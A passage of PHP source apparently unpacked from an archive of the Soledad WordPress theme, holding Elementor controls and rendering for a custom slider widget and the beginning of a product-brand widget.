				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pencislider-caption' => 'margin-bottom: {{SIZE}}{{UNIT}}'
				)
			)
		);

		$this->add_control(
			'description_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pencislider-caption' => 'color: {{VALUE}}' )
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'description_typography',
				'selector' => '{{WRAPPER}} .pencislider-caption',
			)
		);
		$this->add_control(
			'description_overlay', array(
				'label'     => __( 'Enable Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			)
		);
		$this->add_control(
			'desc_bgoverlay_opacity', array(
				'label'     => __( 'Overlay Background Opacity', 'elementor' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => .4 ),
				'range'     => array( 'px' => array( 'max' => 1, 'step' => 0.01 ) ),
				'selectors' => array( '{{WRAPPER}} .pencislider-caption .pslider-bgoverlay-inner:before' => 'opacity: {{SIZE}};' ),
				'condition' => array( 'description_overlay' => 'yes' )
			)
		);
		$this->add_control(
			'desc_bgoverlay_color', array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .pencislider-caption .pslider-bgoverlay-inner:before' => 'background-color: {{VALUE}}' ),
				'default'   => '#000000',
				'condition' => array( 'description_overlay' => 'yes' )
			)
		);
		$this->add_responsive_control(
			'desc_bgoverlay_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px' ),
				'condition'  => array( 'description_overlay' => 'yes' ),
				'selectors'  => array( '{{WRAPPER}} .pencislider-caption-overlay .pslider-bgoverlay-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' )
			)
		);


		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_button', array(
				'label' => __( 'Button 1', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'button_typography',
				'selector' => '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1',
			)
		);
		$this->add_control(
			'button_width', array(
				'label'     => __( 'Button Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 400, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'width: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button_height', array(
				'label'     => __( 'Button Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'height: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button_border_width',
			array(
				'label'     => __( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 20,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'border-width: {{SIZE}}{{UNIT}};',
				),
			)
		);
		$this->add_control(
			'button_border_radius',
			array(
				'label'     => __( 'Border Radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'border-radius: {{SIZE}}{{UNIT}};',
				),
				'separator' => 'after',
			)
		);

		$this->start_controls_tabs( 'button_tabs' );

		$this->start_controls_tab( 'normal', array( 'label' => __( 'Normal', 'soledad' ) ) );

		$this->add_control(
			'button_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab( 'hover', array( 'label' => __( 'Hover', 'soledad' ) ) );

		$this->add_control(
			'button_hover_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1:hover' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_hover_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1:hover' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_hover_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-1:hover' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		// Button 2
		$this->start_controls_section(
			'section2_style_button', array(
				'label' => __( 'Button 2', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'button2_typography',
				'selector' => '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2',
			)
		);
		$this->add_control(
			'button2_width', array(
				'label'     => __( 'Button Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 400, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'width: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button2_height', array(
				'label'     => __( 'Button Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'height: {{SIZE}}{{UNIT}};line-height: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button2_border_width',
			array(
				'label'     => __( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 20,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'border-width: {{SIZE}}{{UNIT}};',
				),
			)
		);
		$this->add_control(
			'button2_border_radius',
			array(
				'label'     => __( 'Border Radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'border-radius: {{SIZE}}{{UNIT}};',
				),
				'separator' => 'after',
			)
		);
		$this->add_control(
			'button2_heading',
			array(
				'label'     => __( 'Button 2', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->start_controls_tabs( 'button2_tabs' );

		$this->start_controls_tab( 'normal2', array( 'label' => __( 'Normal', 'soledad' ) ) );

		$this->add_control(
			'button2_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab( 'hover2', array( 'label' => __( 'Hover', 'soledad' ) ) );

		$this->add_control(
			'button2_hover_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2:hover' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_hover_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2:hover' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_hover_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2:hover' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_pagination', array(
				'label' => __( 'Pagination', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => array( 'style-35', 'style-38' ) )
		) );

		// number style
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'dots_number_typo',
				'label'     => __( 'Typography for Number', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span',
				'condition' => [ 'showdots_type' => 'number' ],
			)
		);
		$this->add_control( 'dots_number_color', array(
			'label'     => __( 'Number Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_line_bgcolor', array(
			'label'     => __( 'Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span:after' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_number_acolor', array(
			'label'     => __( 'Number Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot.active span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_line_bgacolor', array(
			'label'     => __( 'Line Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot.active span:after' => 'background-color: {{VALUE}};' ),
		) );

		// dots style

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot span,body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'condition' => [ 'showdots_type' => 'dots' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'condition' => [ 'showdots_type' => 'dots' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_csspc_w', array(
			'label'     => __( 'Dot Spacing', 'soledad' ),
			'condition' => [ 'showdots_type' => 'dots' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;' ),
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_responsive_control( 'dots_nxpv_margin', array(
			'label'     => __( 'Dots Spacing Bottom', 'soledad' ),
			'condition' => [ 'showdots' => 'yes' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dots' => 'bottom: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();
	}

	protected function render() {

		$settings              = $this->get_settings();
		$settings['come_from'] = 'er';
		$twolines_class        = '';
		if ( 'yes' == $settings['btn_2lines'] ) {
			$twolines_class = ' btn-twoline';
		}

		$dots_style     = $settings['showdots_type'] ? ' pcdots-' . $settings['showdots_type'] : '';
		$pcenable_style = $settings['use_parallax'] ? ' penci-jarallax' : '';
		$fullscreen     = isset( $settings['fullscreen'] ) && $settings['fullscreen'] ? ' enable-fullscreen' : '';

		$data_slider = penci_get_data_slider( $settings );

		echo '<div class="penci-block-vc penci-custom-slides' . $fullscreen . '">';
		echo '<div class="penci-block_content penci-slides-wrap swiper penci-owl-carousel penci-owl-carousel-slider' . $dots_style . '" ' . $data_slider . '>';
		echo '<div class="swiper-wrapper">';

		$slide_count = 0;

		foreach ( (array) $settings['penci_slides'] as $slide ) {

			$heading_overlay     = isset( $settings['heading_overlay'] ) && $settings['heading_overlay'] ? 'yes' : '';
			$description_overlay = isset( $settings['description_overlay'] ) && $settings['description_overlay'] ? 'yes' : '';

			$add_url_feat_img = isset( $slide['add_url_feat_img'] ) && $slide['add_url_feat_img'] ? $slide['add_url_feat_img'] : '';
			$url_feat_img     = isset( $slide['url_feat_img'] ) && $slide['url_feat_img'] ? $slide['url_feat_img'] : '';

			if ( isset( $slide['bg_item_overlay'] ) && $slide['bg_item_overlay'] ) {
				if ( 'yes' == $slide['bg_item_overlay'] ) {
					$heading_overlay = $description_overlay = 'yes';
				} elseif ( 'no' == $slide['bg_item_overlay'] ) {
					$heading_overlay = $description_overlay = '';
				}
			}

			echo '<div class="swiper-slide elementor-repeater-item-' . $slide['_id'] . ' penci-ctslide-wrap">';
			echo '<div class="penci-custom-slide">';

			$ken_class = '';
			if ( '' != $slide['background_ken_burns'] ) {
				$ken_class = ' penci-ctslider-ken-' . $slide['zoom_direction'];
			}

			$video_content = '';

			if ( 'video' == $slide['background_type'] && isset( $slide['background_video'] ) && $slide['background_video'] ) {
				$video_content = ' data-jarallax data-video-src="' . esc_url( $slide['background_video'] ) . '"';
			}

			echo '<div class="penci-ctslide-bg' . $ken_class . $pcenable_style . '"' . $video_content . '></div>';

			echo '<div class="penci-ctslide-inner' . $twolines_class . '">';

			// Add link to image
			$url_feat_img_markup = '';
			if ( 'yes' === $add_url_feat_img && $url_feat_img ) {

				if ( ! empty( $url_feat_img['url'] ) ) {
					$this->add_render_attribute( 'url_feat_img' . $slide_count, 'href', $url_feat_img['url'] );
					if ( $url_feat_img['is_external'] ) {
						$this->add_render_attribute( 'url_feat_img' . $slide_count, 'target', '_blank' );
					}

					$url_feat_img_markup = '<a class="penci-ctslider-featimg" ' . $this->get_render_attribute_string( 'url_feat_img' . $slide_count ) . '></a>';
				}

				echo $url_feat_img_markup;
			}


			if ( 'yes' === $slide['background_overlay'] ) {
				echo '<div class="penci-ctslider-bg-overlay"></div>';
			}

			echo '<div class="penci-ctslider-content penci-' . esc_attr( $settings['content_animation'] ) . '">';

			if ( isset( $slide['heading'] ) && $slide['heading'] ) {

				if ( $heading_overlay ) {
					echo '<h2 class="pencislider-title pencislider-title-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['heading'] . '</span></span></h2>';
				} else {
					echo '<h2 class="pencislider-title">' . $slide['heading'] . '</h2>';
				}

			}

			if ( isset( $slide['description'] ) && $slide['description'] ) {
				if ( $description_overlay ) {
					echo '<div class="pencislider-caption pencislider-caption-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['description'] . '</span></span></div>';
				} else {
					echo '<div class="pencislider-caption">' . $slide['description'] . '</div>';
				}

			}

			$html_button = '';
			if ( isset( $slide['button_text'] ) && $slide['button_text'] ) {
				$button_link_data = 'href="#" aria-label="Button"';
				if ( ! empty( $slide['button_link']['url'] ) ) {
					$this->add_render_attribute( 'button_link' . $slide_count, 'href', $slide['button_link']['url'] );
					if ( $slide['button_link']['is_external'] ) {
						$this->add_render_attribute( 'button_link' . $slide_count, 'target', '_blank' );
					}
					$button_link_data = $this->get_render_attribute_string( 'button_link' . $slide_count );
				}

				$html_button .= '<a class="pencislider-btn pencislider-btn-1 penci-button" ' . $button_link_data . '><span>' . $slide['button_text'] . '</span></a>';
			}
			if ( isset( $slide['button_text2'] ) && $slide['button_text2'] ) {
				$button_link_data = 'href="#" aria-label="Button"';
				if ( ! empty( $slide['button_link2']['url'] ) ) {
					$this->add_render_attribute( 'button_link2' . $slide_count, 'href', $slide['button_link2']['url'] );
					if ( $slide['button_link2']['is_external'] ) {
						$this->add_render_attribute( 'button_link2' . $slide_count, 'target', '_blank' );
					}
					$button_link_data = $this->get_render_attribute_string( 'button_link2' . $slide_count );
				}

				$html_button .= '<a class="pencislider-btn pencislider-btn-2 penci-button" ' . $button_link_data . '><span>' . $slide['button_text2'] . '</span></a>';
			}

			if ( $html_button ) {
				echo '<div class="penci-slider_btnwrap">' . $html_button . '</div>';
			}

			echo '</div>'; // slider content


			echo '</div>'; // penci-ctslide-inner
			echo '</div>'; // penci-custom-slide
			echo '</div>'; // penci-ctslide-wrap

			$slide_count ++;
		}

		echo '</div></div></div>';
	}
}
PK     1w\##  #  0  elementor/modules/penci-product-brand/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductBrand;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_brand';
	}

	public function get_widgets() {
		return array( 'PenciProductBrand' );
	}
}
PK     1w\>!I  I  E  elementor/modules/penci-product-brand/widgets/penci-product-brand.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductBrand\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductBrand extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_products_brands';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Product Brands', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-logo';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section( 'general_content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
		] );

		$this->add_control( 'number', [
			'label'       => esc_html__( 'Number', 'soledad' ),
			'description' => esc_html__( 'Enter the number of categories to display for this element.', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
		] );

		$this->add_control( 'orderby', [
			'label'   => esc_html__( 'Order by', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''        => '',
				'name'    => esc_html__( 'Name', 'soledad' ),
				'term_id' => esc_html__( 'ID', 'soledad' ),
				'slug'    => esc_html__( 'Slug', 'soledad' ),
				'random'  => esc_html__( 'Random order', 'soledad' ),
			),
		] );

		$this->add_control( 'order', [
			'label'       => esc_html__( 'Sort order', 'soledad' ),
			'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => array(
				''     => esc_html__( 'Inherit', 'soledad' ),
				'DESC' => esc_html__( 'Descending', 'soledad' ),
				'ASC'  => esc_html__( 'Ascending', 'soledad' ),
			),
		] );

		$this->add_control( 'hide_empty', [
			'label'        => esc_html__( 'Hide empty', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'ids', [
			'label'       => esc_html__( 'Brands', 'soledad' ),
			'description' => esc_html__( 'List of product brands to show. Leave empty to show all.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'pa_brand',
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Style tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section( 'general_style_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'hover', [
			'label'   => esc_html__( 'Brand images hover', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default' => esc_html__( 'Style 1', 'soledad' ),
				'simple'  => esc_html__( 'Style 2', 'soledad' ),
				'alt'     => esc_html__( 'Style 3', 'soledad' ),
			),
		] );

		$this->add_control( 'brand_style', [
			'label'   => esc_html__( 'Border Style ?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default'  => esc_html__( 'No', 'soledad' ),
				'bordered' => esc_html__( 'Yes', 'soledad' ),
			),
		] );

		$this->add_control( 'style', [
			'label'   => esc_html__( 'Layout', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'carousel',
			'options' => array(
				'carousel' => esc_html__( 'Carousel', 'soledad' ),
				'grid'     => esc_html__( 'Grid', 'soledad' ),
				'list'     => esc_html__( 'Links List', 'soledad' ),
			),
		] );

		$this->add_control( 'columns', [
			'label'       => esc_html__( 'Columns', 'soledad' ),
			'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 3,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 6,
					'step' => 1,
				],
			],
			'condition'   => [
				'style' => array( 'grid', 'list' ),
			],
		] );

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section( 'carousel_style_section', [
			'label'     => esc_html__( 'Carousel', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'slides_per_view', [
			'label'       => esc_html__( 'Slides per view', 'soledad' ),
			'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 3,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 8,
					'step' => 1,
				],
			],
		] );

		$this->add_control( 'hide_pagination_control', [
			'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
